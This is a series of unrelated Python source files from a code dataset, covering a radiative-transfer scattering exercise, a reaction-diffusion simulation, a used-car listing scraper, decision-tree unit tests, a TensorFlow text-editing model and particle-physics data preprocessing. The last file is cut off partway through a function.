Agenda settings\n\n # Agenda for scalar gas absorption calculation\n ws.Copy(ws.abs_xsec_agenda, ws.abs_xsec_agenda__noCIA)\n\n # (standard) emission calculation\n ws.Copy(ws.iy_main_agenda, ws.iy_main_agenda__Emission)\n\n # cosmic background radiation\n ws.Copy(ws.iy_space_agenda, ws.iy_space_agenda__CosmicBackground)\n\n # standard surface agenda (i.e., make use of surface_rtprop_agenda)\n ws.Copy(ws.iy_surface_agenda, ws.iy_surface_agenda__UseSurfaceRtprop)\n\n # sensor-only path\n ws.Copy(ws.ppath_agenda, ws.ppath_agenda__FollowSensorLosPath)\n\n # no refraction\n ws.Copy(ws.ppath_step_agenda, ws.ppath_step_agenda__GeometricPath)\n\n # absorption from LUT\n ws.Copy(ws.propmat_clearsky_agenda, ws.propmat_clearsky_agenda__LookUpTable)\n\n ws.VectorSet(ws.f_grid, np.array([229.0e9])) # Define f_grid\n\n ws.IndexSet(ws.stokes_dim, 1) # Set stokes dim\n\n ws.AtmosphereSet1D()\n\n ws.jacobianOff() # No jacobian calculations\n\n ws.sensorOff() # No sensor\n\n # Set the maximum propagation step to 250m.\n ws.NumericSet(ws.ppath_lmax, 250.0)\n\n # Set absorption species\n ws.abs_speciesSet(\n species=[\"H2O-PWR98\", \"O3\", \"O2-PWR93\", \"N2-SelfContStandardType\"]\n )\n\n # Read atmospheric data\n ws.ReadXML(ws.batch_atm_fields_compact, \"testdata/chevallierl91_all_extract.xml\")\n ws.Extract(ws.atm_fields_compact, ws.batch_atm_fields_compact, 1)\n\n # Add constant profiles for O2 and N2\n ws.atm_fields_compactAddConstant(\n name=\"abs_species-O2\", value=0.2095, condensibles=[\"abs_species-H2O\"]\n )\n ws.atm_fields_compactAddConstant(\n name=\"abs_species-N2\", value=0.7808, condensibles=[\"abs_species-H2O\"]\n )\n\n ws.AtmFieldsAndParticleBulkPropFieldFromCompact()\n ws.atmfields_checkedCalc(bad_partition_functions_ok=1)\n\n # Read Catalog (needed for O3):\n ws.ReadSplitARTSCAT(\n abs_species=ws.abs_species,\n basename=\"hitran/hitran_split_artscat5/\",\n fmin=0.9 * ws.f_grid.value.min(),\n fmax=1.1 * ws.f_grid.value.max(),\n globalquantumnumbers=\"\",\n localquantumnumbers=\"\",\n ignore_missing=0,\n )\n ws.abs_lines_per_speciesCreateFromLines()\n\n ws.abs_lookupSetup()\n ws.abs_xsec_agenda_checkedCalc()\n ws.lbl_checkedCalc()\n\n ws.abs_lookupCalc()\n\n ws.propmat_clearsky_agenda_checkedCalc()\n\n # Set surface reflectivity (= 1 - emissivity)\n ws.Copy(\n ws.surface_rtprop_agenda,\n ws.surface_rtprop_agenda__Specular_NoPol_ReflFix_SurfTFromt_surface,\n )\n ws.VectorSetConstant(ws.surface_scalar_reflectivity, 1, 0.0)\n\n # Extract particle mass from scattering meta data.\n scat_data_xml = f\"scattering/H2O_{phase}/MieSphere_R{radius:.5e}um.xml\"\n ws.ScatSpeciesScatAndMetaRead(scat_data_files=[scat_data_xml])\n particle_mass = ws.scat_meta.value[0][0].mass\n\n # Load scattering data and PND field.\n ws.ScatSpeciesInit()\n ws.ScatElementsPndAndScatAdd(\n scat_data_files=[scat_data_xml], pnd_field_files=[\"./input/pndfield_input.xml\"]\n )\n ws.scat_dataCalc()\n ws.scat_data_checkedCalc()\n\n # Set the extent of the cloud box.\n ws.cloudboxSetManually(\n p1=101300.0, p2=1000.0, lat1=0.0, lat2=0.0, lon1=0.0, lon2=0.0\n )\n\n # Trim pressure grid to match cloudbox.\n bottom, top = ws.cloudbox_limits.value\n p = ws.p_grid.value[bottom : top + 1]\n z = ws.z_field.value[bottom : top + 1, 0, 0]\n\n ws.pnd_fieldCalcFrompnd_field_raw()\n\n # Calculate the initial ice water path (IWP).\n iwp0 = np.trapz(particle_mass * ws.pnd_field.value[0, :, 0, 0], z)\n\n # Scale the PND field to get the desired IWP.\n ws.Tensor4Scale(ws.pnd_field, ws.pnd_field, ice_water_path / iwp0)\n\n # Get case-specific surface properties from corresponding atmospheric fields\n ws.Extract(ws.z_surface, ws.z_field, 0)\n ws.Extract(ws.t_surface, ws.t_field, 0)\n\n # Consistency checks\n ws.atmgeom_checkedCalc()\n ws.cloudbox_checkedCalc()\n\n @ty.arts.workspace.arts_agenda\n def doit_conv_test_agenda(ws):\n ws.doit_conv_flagAbsBT(\n epsilon=np.array([0.01]), max_iterations=100, nonconv_return_nan=1\n )\n ws.Print(ws.doit_iteration_counter, level=0)\n\n ws.Copy(ws.doit_conv_test_agenda, doit_conv_test_agenda)\n\n ws.doit_za_interpSet(interp_method=\"linear\")\n\n ws.DOAngularGridsSet(num_viewing_angles, 19, \"\")\n\n @ty.arts.workspace.arts_agenda\n def doit_mono_agenda(ws):\n # Prepare scattering data for DOIT calculation (Optimized method):\n ws.Ignore(ws.f_grid)\n ws.DoitScatteringDataPrepare()\n # Perform iterations: 1. scattering integral. 2. RT calculations with\n # fixed scattering integral field, 3. convergence test\n ws.cloudbox_field_monoIterate(accelerated=1)\n\n ws.Copy(ws.doit_mono_agenda, doit_mono_agenda)\n\n # Scattering calculation\n ws.DoitInit()\n ws.DoitGetIncoming(rigorous=0)\n ws.cloudbox_fieldSetClearsky()\n ws.DoitCalc()\n\n ifield = np.squeeze(ws.cloudbox_field.value.squeeze())\n ifield = ty.physics.radiance2planckTb(ws.f_grid.value, ifield)\n\n # Clear-sky\n ws.Tensor4Scale(ws.pnd_field, ws.pnd_field, 0.0)\n ws.DoitCalc()\n\n ifield_clear = np.squeeze(ws.cloudbox_field.value.squeeze())\n ifield_clear = ty.physics.radiance2planckTb(ws.f_grid.value, ifield_clear)\n\n return p, ws.za_grid.value.copy(), ifield, ifield_clear\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"exercises/08-scattering/scattering.py","file_name":"scattering.py","file_ext":"py","file_size_in_byte":8696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"206494435","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# Model params\na = 2.8e-4\nb = 5e-3\ntau = .1\nk = -0.005\n\n# discretize time and space\nsize = 200\ndx = 2.0 / size\nT = 10.0\ndt = 0.001\nn = int(T/dt)\n\n# Random starting grid\nU = np.random.rand(size, size)\nV = np.random.rand(size, size)\n\n\n# Laplacian\ndef laplacian(Z):\n Ztop = Z[0:-2, 1:-1]\n Zleft = Z[1:-1, 0:-2]\n Zbottom = Z[2:, 1:-1]\n Zright = Z[1:-1, 2:]\n Zcenter = Z[1:-1, 1:-1]\n return (Ztop + Zleft + Zbottom + Zright - (4 * Zcenter)) / dx**2\n\n\n# Shows matrix\ndef show_patterns(U, ax=None):\n ax.imshow(U, cmap=plt.cm.copper,\n interpolation='bilinear',\n extent=[-1, 1, -1, 1])\n ax.set_axis_off()\n\n\n# Basic ploting stuff\n#fig, axes = plt.subplots(3, 3, figsize=(8, 8))\n#step_plot = n // 9\n# Simulate the PDE with the finite difference method\nfor i in range(n):\n deltaU = laplacian(U)\n deltaV = laplacian(V)\n # Gets values from the grid gets dups to prevent strange\n # write behavior\n Uc = U[1:-1, 1:-1]\n Vc = V[1:-1, 1:-1]\n # Neumann conditions: derivatives at the edges\n # are null.\n for Z in (U, V):\n Z[0, :] = Z[1, :]\n Z[-1, :] = Z[-2, :]\n Z[:, 0] = Z[:, 1]\n Z[:, -1] = Z[:, -2]\n # Generate next timestep\n U[1:-1, 1:-1] = Uc + dt * (a * deltaU + Uc - Uc**3 - Vc - k)\n V[1:-1, 1:-1] = Vc + dt * ((b * deltaV + Uc - Vc) / tau)\n\n\n #plt.matshow(deltaV)\nplt.imshow(U, cmap=plt.cm.coolwarm,\n interpolation='bilinear',\n extent=[-1, 1, -1, 1])\nplt.show()\n","sub_path":"misc/turing.py","file_name":"turing.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"159009644","text":"# -*- coding: utf-8 -*-\nimport scrapy,re\n\nfrom taoche.items import TaocheItem\nfrom taoche.spiders.city import CAR_CODE_LIST,CITY_CODE\n\nclass TaocheSpiderSpider(scrapy.Spider):\n name = 'taoche_spider'\n # allowed_domains = ['www']\n start_urls = []\n # index = 1\n for city in CITY_CODE:\n for car in CAR_CODE_LIST:\n base_url = 'https://{}.taoche.com/{}/?page=1'.format(city, car)\n start_urls.append(base_url)\n\n def parse(self, response):\n #判断一下这个页面中有没有内容\n #如果有内容,解析,解析之后请求下一页,回调自己\n li_list = response.xpath('//div[@id=\"container_base\"]/ul/li')\n if li_list:\n for li in li_list:\n #解析\n car_name = li.xpath('//div[@class=\"gongge_main\"]/a/@title').extract_first()\n infos = li.xpath('.//p/i/text()').extract()\n try:\n car_year = infos[0]\n car_lichen = infos[1]\n car_location = infos[2]\n except Exception:\n continue\n car_price = li.xpath('.//i[@class=\"Total brand_col\"]/text()').extract_first()\n detail_url = li.xpath('//div[@class=\"gongge_main\"]/a/@href').extract_first()\n item = TaocheItem()\n item['car_name'] = car_name\n item['car_year'] = car_year\n item['car_lichen'] = car_lichen\n item['car_location'] = car_location\n item['car_price'] = car_price\n item['detail_url'] = detail_url\n yield item\n #解析之后请求下一页,回调自己\n url = response.url\n\n #https://beijing.taoche.com/porsche/?page=2\n p = re.compile(r'page=(\\d+)')\n page = int(p.search(url).group(1))+1\n\n new_url = p.sub('page={}'.format(page),url)\n # print(url,new_url,sep='|-:-|')\n yield scrapy.Request(new_url,callback=self.parse,encoding='utf-8')\n","sub_path":"day15.5/taoche/taoche/taoche/spiders/taoche_spider.py","file_name":"taoche_spider.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"415723066","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 18 23:23:57 2019\r\n\r\n@author: songl\r\n\"\"\"\r\n\r\nimport unittest\r\nimport submission as dt\r\nimport numpy as np\r\nimport time\r\nclass DecisionTreePart2Tests(unittest.TestCase):\r\n \"\"\"Tests for Decision Tree Learning.\r\n\r\n Attributes:\r\n restaurant (dict): represents restaurant data set.\r\n dataset (data): training data used in testing.\r\n train_features: training features from dataset.\r\n train_classes: training classes from dataset.\r\n \"\"\"\r\n\r\n def setUp(self):\r\n \"\"\"Set up test data.\r\n \"\"\"\r\n\r\n self.restaurant = {'restaurants': [0] * 6 + [1] * 6,\r\n 'split_patrons': [[0, 0],\r\n [1, 1, 1, 1],\r\n [1, 1, 0, 0, 0, 0]],\r\n 'split_food_type': [[0, 1],\r\n [0, 1],\r\n [0, 0, 1, 1],\r\n [0, 0, 1, 1]]}\r\n\r\n self.dataset = dt.load_csv('part23_data.csv')\r\n self.train_features, self.train_classes = self.dataset\r\n\r\n def test_gini_impurity_max(self):\r\n \"\"\"Test maximum gini impurity.\r\n\r\n Asserts:\r\n gini impurity is 0.5.\r\n \"\"\"\r\n\r\n gini_impurity = dt.gini_impurity([1, 1, 1, 0, 0, 0])\r\n\r\n assert .500 == round(gini_impurity, 3)\r\n\r\n def test_gini_impurity_min(self):\r\n \"\"\"Test minimum gini impurity.\r\n\r\n Asserts:\r\n entropy is 0.\r\n \"\"\"\r\n\r\n gini_impurity = dt.gini_impurity([1, 1, 1, 1, 1, 1])\r\n\r\n assert 0 == round(gini_impurity, 3)\r\n\r\n def test_gini_impurity(self):\r\n \"\"\"Test gini impurity.\r\n\r\n Asserts:\r\n gini impurity is matched as expected.\r\n \"\"\"\r\n\r\n gini_impurity = dt.gini_impurity([1, 1, 0, 0, 0, 0])\r\n\r\n assert round(4. / 9., 3) == round(gini_impurity, 3)\r\n \r\n def test_gini_gain_max(self):\r\n \"\"\"Test maximum gini gain.\r\n\r\n Asserts:\r\n gini gain is 0.5.\r\n \"\"\"\r\n\r\n gini_gain = dt.gini_gain([1, 1, 1, 0, 0, 0],\r\n [[1, 1, 1], [0, 0, 0]])\r\n \r\n\r\n assert .500 == round(gini_gain, 3)\r\n\r\n def test_gini_gain(self):\r\n \"\"\"Test gini gain.\r\n\r\n Asserts:\r\n gini gain is within acceptable bounds\r\n \"\"\"\r\n\r\n gini_gain = dt.gini_gain([1, 1, 1, 0, 0, 0],\r\n [[1, 1, 0], [1, 0, 0]])\r\n \r\n assert 0.056 == round(gini_gain, 3)\r\n\r\n def test_gini_gain_restaurant_patrons(self):\r\n \"\"\"Test gini gain using restaurant patrons.\r\n\r\n Asserts:\r\n gini gain rounded to 3 decimal places matches as expected.\r\n \"\"\"\r\n\r\n gain_patrons = dt.gini_gain(\r\n self.restaurant['restaurants'],\r\n self.restaurant['split_patrons'])\r\n #print(round(gain_patrons, 3))\r\n assert round(gain_patrons, 3) == 0.278\r\n\r\n def test_gini_gain_restaurant_type(self):\r\n \"\"\"Test gini gain using restaurant food type.\r\n\r\n Asserts:\r\n gini gain is 0.\r\n \"\"\"\r\n\r\n gain_type = round(dt.gini_gain(\r\n self.restaurant['restaurants'],\r\n self.restaurant['split_food_type']), 2)\r\n #print(round(gain_type, 3))\r\n assert gain_type == 0.00\r\n \r\n def test_decision_tree_all_data(self):\r\n \"\"\"Test decision tree classifies all data correctly.\r\n\r\n Asserts:\r\n classification is 100% correct.\r\n \"\"\"\r\n\r\n tree = dt.DecisionTree()\r\n tree.fit(self.train_features, self.train_classes)\r\n output = tree.classify(self.train_features)\r\n\r\n assert (output == self.train_classes).all()\r\n \r\n def test_k_folds_test_set_count(self):\r\n \"\"\"Test k folds returns the correct test set size.\r\n\r\n Asserts:\r\n test set size matches as expected.\r\n \"\"\"\r\n\r\n example_count = len(self.train_features)\r\n k = 10\r\n test_set_count = example_count // k\r\n ten_folds = dt.generate_k_folds(self.dataset, k)\r\n\r\n for fold in ten_folds:\r\n training_set, test_set = fold\r\n\r\n assert len(test_set[0]) == test_set_count\r\n\r\n def test_k_folds_training_set_count(self):\r\n \"\"\"Test k folds returns the correct training set size.\r\n\r\n Asserts:\r\n training set size matches as expected.\r\n \"\"\"\r\n\r\n example_count = len(self.train_features)\r\n k = 10\r\n training_set_count = example_count - (example_count // k)\r\n ten_folds = dt.generate_k_folds(self.dataset, k)\r\n\r\n for fold in ten_folds:\r\n training_set, test_set = fold\r\n\r\n assert len(training_set[0]) == training_set_count\r\n \r\nif __name__ == '__main__':\r\n unittest.main()","sub_path":"assignment_4-master/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"410115534","text":"from ClassLineTask3 import Line\nfrom ClassLineTask3 import Point\nimport math\nimport tkinter as tk\nfrom tkinter import filedialog\n\nimport sys\nimport argparse\n\ndef createParser():\n parser = argparse.ArgumentParser()\n parser.add_argument('command')\n return parser\ndef fromfile():\n try:\n listClass = []\n root = tk.Tk()\n root.withdraw()\n file_path = filedialog.askopenfilename()\n f = open(file_path)\n matrix = f.readlines()\n matrix = [[int(n) for n in x.split()] for x in matrix]\n for i in range(len(matrix)):\n listClass.append(Line(int(matrix[i][0]), int(matrix[i][1]), int(matrix[i][2])))\n f.close()\n return listClass\n except IOError:\n print('Проблема с файлом')\ndef printClassList(list1):\n for i in list1:\n print(i)\ndef findIntersectionPoints(listLines):\n pointList = list()\n for i in range(len(listLines)):\n for j in range(i+1,len(listLines)):\n y = (listLines[j].a * listLines[i].c - listLines[i].a * listLines[j].c) / (\n listLines[i].a * listLines[j].b - listLines[j].a * listLines[i].b)\n x = (-listLines[j].b*y-listLines[j].c)/listLines[j].a\n if(listLines[i].a * x + listLines[i].b * y + listLines[i].c == 0):\n point = Point(x, y, listLines[i], listLines[j])\n pointList.append(point)\n return pointList\ndef findMinIntersectionPoint(pointList):\n distance = list()\n for i in range(len(pointList)):\n c = math.sqrt(math.pow((pointList[i].x),2) + math.pow((pointList[i].y),2))\n distance.append(c)\n minIndex = distance.index(min(distance))\n return pointList[minIndex]\ndef printPoint(minPoint):\n print('Координаты: ', minPoint.x, minPoint.y)\n print('Пересекающиеся линия 1:', minPoint.intersectionLine1.a, minPoint.intersectionLine1.b,\n minPoint.intersectionLine1.c)\n print('Пересекающиеся линия 2:', minPoint.intersectionLine2.a, minPoint.intersectionLine2.b,\n minPoint.intersectionLine2.c)\nif __name__=='__main__':\n parser = createParser()\n namespace = parser.parse_args()\n if namespace.command == 'f':\n mylist = fromfile()\n minPoint = findIntersectionPoints(mylist)\n printPoint(findMinIntersectionPoint(minPoint))","sub_path":"Task3.py","file_name":"Task3.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"631021219","text":"import numpy as np\nimport tensorflow as tf\nimport tensorflow.contrib.metrics as tf_metrics\n\nfrom models.common.sequence import length_pre_embedding\nfrom models.im_all_transformer.editor import Editor\nfrom models.im_all_transformer.transformer.embedding_layer import EmbeddingSharedWeights\nfrom models.neural_editor.model import get_profiler_hook, ES_BLEU, get_train_extra_summary_writer, ES_TRACE\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\nfrom models.common import vocab, metrics, sequence\nfrom models.im_all_transformer import decoder, optimizer\n\n\ndef get_extra_summary_logger(ops, config):\n formatters = {}\n\n def print_pred_summary(pred_result):\n output_str = ''\n for src, iw, dw, tgt, pred in pred_result:\n output_str += 'SOURCE: %s\\n' % str(src, encoding='utf8')\n output_str += 'INSERT: [ %s ]\\n' % str(iw, encoding='utf8')\n output_str += 'DELETE: [ %s ]\\n' % str(dw, encoding='utf8')\n output_str += 'TARGET: %s\\n' % str(tgt, encoding='utf8')\n output_str += '---\\n%s\\n---\\n\\n' % str(pred, encoding='utf8')\n output_str += '=========================\\n\\n'\n\n return output_str\n\n formatters[ES_TRACE] = print_pred_summary\n\n def print_bleu_score(bleu_result):\n return 'BLEU: %s' % bleu_result\n\n formatters[ES_BLEU] = print_bleu_score\n\n return tf.train.LoggingTensorHook(\n tensors=ops,\n every_n_iter=config.eval.eval_steps,\n formatter=lambda x: '\\n'.join([formatters[name](t) for name, t in x.items()])\n )\n\n\ndef get_avg_bleu(tgt_tokens, pred_tokens, tgt_len, pred_len):\n if pred_tokens.shape.ndims > 2:\n best_tokens = pred_tokens[:, :, 0]\n best_len = pred_len[:, 0]\n else:\n best_tokens = pred_tokens\n best_len = pred_len\n\n bleu_score = metrics.create_bleu_metric_ops(tgt_tokens, best_tokens, tgt_len, best_len)\n avg_bleu = tf.reduce_mean(bleu_score)\n\n return avg_bleu\n\n\ndef get_trace(pred_tokens, tgt_tokens,\n src_words, inserted_words, deleted_words,\n pred_len, tgt_len):\n vocab_i2s = vocab.get_vocab_lookup_tables()[vocab.INT_TO_STR]\n\n if pred_tokens.shape.ndims > 2:\n pred_joined = metrics.join_beams(pred_tokens, pred_len)\n else:\n pred_joined = metrics.join_tokens(pred_tokens, pred_len)\n\n tgt_joined = metrics.join_tokens(tgt_tokens, tgt_len)\n src_joined = metrics.join_tokens(vocab_i2s.lookup(src_words), length_pre_embedding(src_words))\n iw_joined = metrics.join_tokens(vocab_i2s.lookup(inserted_words), length_pre_embedding(inserted_words), ', ')\n dw_joined = metrics.join_tokens(vocab_i2s.lookup(deleted_words), length_pre_embedding(deleted_words), ', ')\n\n return tf.concat([src_joined, iw_joined, dw_joined, tgt_joined, pred_joined], axis=1)\n\n\ndef add_extra_summary_trace(pred_tokens, pred_len,\n base_words, output_words,\n src_words, tgt_words, inserted_words, deleted_words,\n collections=None):\n vocab_i2s = vocab.get_vocab_lookup_tables()[vocab.INT_TO_STR]\n\n tgt_tokens = vocab_i2s.lookup(tgt_words)\n tgt_len = length_pre_embedding(tgt_words)\n\n trace_summary = get_trace(pred_tokens, tgt_tokens, src_words, inserted_words, deleted_words,\n pred_len, tgt_len)\n tf.summary.text('trace', trace_summary, collections)\n\n return trace_summary\n\n\ndef add_extra_summary_avg_bleu(hypo_tokens, hypo_len, ref_words, collections=None):\n vocab_i2s = vocab.get_vocab_lookup_tables()[vocab.INT_TO_STR]\n\n ref_tokens = vocab_i2s.lookup(ref_words)\n ref_len = length_pre_embedding(ref_words)\n\n avg_bleu = get_avg_bleu(ref_tokens, hypo_tokens, ref_len, hypo_len)\n tf.summary.scalar('bleu', avg_bleu, collections)\n\n return avg_bleu\n\n\ndef add_extra_summary(config,\n decoded_ids, decoded_length,\n base_word, output_words, src_words, tgt_words, inserted_words, deleted_words,\n collections=None):\n pred_tokens = decoder.str_tokens(decoded_ids)\n pred_len = decoded_length\n\n ops = {}\n\n if config.get('logger.enable_trace', False):\n trace_summary = add_extra_summary_trace(pred_tokens, pred_len,\n base_word, output_words, src_words, tgt_words, inserted_words,\n deleted_words, collections)\n ops[ES_TRACE] = trace_summary\n\n if config.get('logger.enable_bleu', True):\n avg_bleu = add_extra_summary_avg_bleu(pred_tokens, pred_len, output_words, collections)\n ops[ES_BLEU] = avg_bleu\n\n return ops\n\n\ndef model_fn(features, mode, config, embedding_matrix, vocab_tables):\n if mode == tf.estimator.ModeKeys.PREDICT:\n base_words, _, src_words, tgt_words, inserted_words, commong_words = features\n output_words = tgt_words\n else:\n base_words, output_words, src_words, tgt_words, inserted_words, commong_words = features\n\n is_training = mode == tf.estimator.ModeKeys.TRAIN\n tf.add_to_collection('is_training', is_training)\n\n if mode != tf.estimator.ModeKeys.TRAIN:\n config.put('editor.enable_dropout', False)\n config.put('editor.dropout_keep', 1.0)\n config.put('editor.dropout', 0.0)\n\n config.put('editor.transformer.enable_dropout', False)\n config.put('editor.transformer.layer_postprocess_dropout', 0.0)\n config.put('editor.transformer.attention_dropout', 0.0)\n config.put('editor.transformer.relu_dropout', 0.0)\n\n vocab.init_embeddings(embedding_matrix)\n EmbeddingSharedWeights.init_from_embedding_matrix()\n\n editor_model = Editor(config)\n logits, beam_prediction = editor_model(\n base_words, src_words, tgt_words, inserted_words, commong_words,\n output_words\n )\n\n targets = decoder.prepare_decoder_output(\n output_words,\n sequence.length_pre_embedding(output_words)\n )\n target_lengths = sequence.length_pre_embedding(targets)\n\n vocab_size = embedding_matrix.shape[0]\n loss, weights = optimizer.padded_cross_entropy_loss(\n logits, targets, target_lengths,\n config.optim.label_smoothing,\n vocab_size\n )\n\n train_op = optimizer.get_train_op(loss, config)\n\n tf.logging.info(\"Trainable variable\")\n for i in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES):\n tf.logging.info(str(i))\n\n tf.logging.info(\"Num of Trainable parameters\")\n tf.logging.info(np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()]))\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n decoded_ids = decoder.logits_to_decoded_ids(logits)\n ops = add_extra_summary(config, decoded_ids, target_lengths,\n base_words, output_words,\n src_words, tgt_words,\n inserted_words, commong_words,\n collections=['extra'])\n\n hooks = [\n get_train_extra_summary_writer(config),\n get_extra_summary_logger(ops, config),\n ]\n\n if config.get('logger.enable_profiler', False):\n hooks.append(get_profiler_hook(config))\n\n return tf.estimator.EstimatorSpec(\n mode,\n train_op=train_op,\n loss=loss,\n training_hooks=hooks\n )\n\n elif mode == tf.estimator.ModeKeys.EVAL:\n decoded_ids = decoder.logits_to_decoded_ids(logits)\n ops = add_extra_summary(config, decoded_ids, target_lengths,\n base_words, output_words,\n src_words, tgt_words,\n inserted_words, commong_words,\n collections=['extra'])\n\n return tf.estimator.EstimatorSpec(\n mode,\n loss=loss,\n evaluation_hooks=[get_extra_summary_logger(ops, config)],\n eval_metric_ops={'bleu': tf_metrics.streaming_mean(ops[ES_BLEU])}\n )\n\n elif mode == tf.estimator.ModeKeys.PREDICT:\n decoded_ids, decoded_lengths, scores = beam_prediction\n tokens = decoder.str_tokens(decoded_ids)\n\n preds = {\n 'str_tokens': tf.transpose(tokens, [0, 2, 1]),\n 'decoded_ids': tf.transpose(decoded_ids, [0, 2, 1]),\n 'lengths': decoded_lengths,\n 'joined': metrics.join_tokens(tokens, decoded_lengths)\n }\n\n tmee_attentions = tf.get_collection('TransformerMicroEditExtractor_Attentions')\n if len(tmee_attentions) > 0:\n preds.update({\n 'tmee_attentions_st_enc_self': tmee_attentions[0][0],\n 'tmee_attentions_st_dec_self': tmee_attentions[0][1],\n 'tmee_attentions_st_dec_enc': tmee_attentions[0][2],\n 'tmee_attentions_ts_enc_self': tmee_attentions[1][0],\n 'tmee_attentions_ts_dec_self': tmee_attentions[1][1],\n 'tmee_attentions_ts_dec_enc': tmee_attentions[1][2],\n 'src_words': src_words,\n 'tgt_words': tgt_words,\n 'base_words': base_words,\n 'output_words': output_words\n })\n\n return tf.estimator.EstimatorSpec(\n mode,\n predictions=preds\n )\n","sub_path":"models/im_all_transformer/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"569429348","text":"\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\nclass Solution:\n \"\"\"\n @param head: The first node of the linked list.\n @return: nothing\n \"\"\"\n def reorderList(self, head):\n # write your code here\n def find_middle(head):\n slow = head\n fast = head.next\n while fast.next != None and fast.next.next != None:\n slow = slow.next\n fast = fast.next.next\n return slow\n \n def reverse_list(head):\n if head == None or head.next == None:\n return head\n prev = None\n curt = head\n while curt != None:\n nxt = curt.next\n curt.next = prev\n prev = curt\n curt = nxt\n return prev\n \n def merge(left, right):\n dummy = ListNode(0)\n dummy_head = dummy\n index = 0\n while left != None and right != None:\n if index % 2 == 0:\n dummy.next = left\n left = left.next\n else:\n dummy.next = right\n right = right.next\n dummy = dummy.next\n index += 1\n \n if left != None:\n dummy.next = left\n \n if right != None:\n dummy.next = right\n \n return dummy_head.next\n \n \n if head == None or head.next == None or head.next.next == None:\n return head\n \n mid = find_middle(head)\n right = reverse_list(mid.next)\n mid.next = None\n return merge(head, right)\n","sub_path":"algorithm/official_notes/4/problems_linkList/(99) Reorder List.py","file_name":"(99) Reorder List.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"231613758","text":"import numpy as np\nimport pandas as pd\nfrom keras.utils.np_utils import to_categorical\nimport pdb\nimport sys\nimport os\nimport gc\nimport pickle\nimport threading, queue\nfrom tqdm import tqdm\nimport logging\nlogging.basicConfig(format='%(asctime)s,%(msecs)d %(levelname)-8s [%(filename)s:%(lineno)d] %(message)s',\n datefmt='%Y-%m-%d:%H:%M:%S',\n level=logging.DEBUG)\n\n\ndef batch2rows(batch):\n jet_id = batch[0][-1]\n result = []\n for i in batch:\n cat = to_categorical(i[0], num_classes=14, dtype=np.uint8)\n result.append(np.concatenate((cat, i[1:-1]), axis=0))\n # pdb.set_trace()\n rs = np.array(result)\n # print(len(rs))\n return pd.DataFrame([[jet_id, rs]])\n\n\ndef p2j(particle_df):\n particle_df = particle_df.sort_values(\n [\"jet_id\", \"particle_mass\", \"particle_energy\"]).reset_index(drop=True).astype(np.float32, errors=\"ignore\")\n unique_jet_count = particle_df[\"jet_id\"].nunique()\n logging.info(particle_df.shape)\n p_count = particle_df.shape[0]\n logging.info(unique_jet_count)\n logging.info(particle_df.dtypes)\n logging.info(gc.collect())\n len_cate = len(particle_df[\"particle_category\"].unique())\n # print(len_cate)\n category_list = [-2212, -2112, -321, -211, -13, -11, 11, 13, 22, 130, 211, 321, 2112, 2212]\n assert len_cate == len(category_list)\n particle_df[\"particle_category\"] = particle_df[\"particle_category\"].apply(category_list.index)\n # particle_df[\"particle_category\"] = particle_df[\"particle_category\"].apply(lambda x: to_categorical(x, num_classes=len(category_list), dtype=np.uint8))\n logging.info(gc.collect())\n # print(t.head)\n # print(t.dtypes)\n # [\"particle_category_{}\".format(i) for i in range(14)]\n # 最多的喷注有115个粒子\n logging.info(sys.getsizeof(particle_df)/1024/1024)\n # particle_df = pd.concat([pd.DataFrame([list(x) for x in particle_df[\"particle_category\"]], index=particle_df.index).add_prefix(\"g\"), particle_df], axis=1).drop([\"particle_category\"], axis=1)\n # logging.info(\"particle_category dropped\")\n particle_df = particle_df.values\n logging.info(gc.collect())\n # print(particle_df[:10])\n result = []\n pid = None # previous jet id\n current_batch = None\n len_ds = len(particle_df)\n for idx, row in tqdm(enumerate(particle_df), total=len_ds):\n # pdb.set_trace()\n if pid is None or pid != row[-1]:\n if current_batch is not None:\n result.append(batch2rows(current_batch))\n # 处理上一批的\n current_batch = [row] # 新建本批次的\n else:\n current_batch.append(row)\n pid = row[-1]\n if idx == len_ds - 1:\n result.append(batch2rows(current_batch))\n # 到达最后一个元素\n return pd.concat(result).reset_index(drop=True)\n\n\ndef j2e(jet_df, grouped_particle_df):\n jet_df = jet_df.sort_values([\"event_id\", \"jet_mass\", \"jet_energy\"]).reset_index(drop=True)\n pass\n\n\ndef load_ds(filename):\n return pd.read_hdf(filename)\n\n\ndef combine_j_p(jds, pds):\n jds = jds.sort_values([\"jet_id\"]).reset_index(drop=True)\n pds[\"label\"] = jds[\"label\"] if (\"label\" in jds) else 0\n pds[\"event_id\"] = jds[\"event_id\"]\n return pds\n\n\ndef batch2rows_group_p(batch):\n event_id = batch[0][-1]\n label = batch[0][-2]\n rs = pd.concat([pd.DataFrame(i[1]) for i in batch]).values\n return pd.DataFrame([[event_id, rs, label]])\n\ndef group_p_by_event(ds):\n \"\"\"将combine_j_p得到的以jet为键的数据转为按event为键的数据\n \n Args:\n ds (TYPE): Description\n \n Returns:\n TYPE: Description\n \"\"\"\n assert \"label\" in ds\n ds = ds.sort_values([\"event_id\"])\n ds = ds.values\n result = []\n pid = None # previous event id\n current_batch = None\n 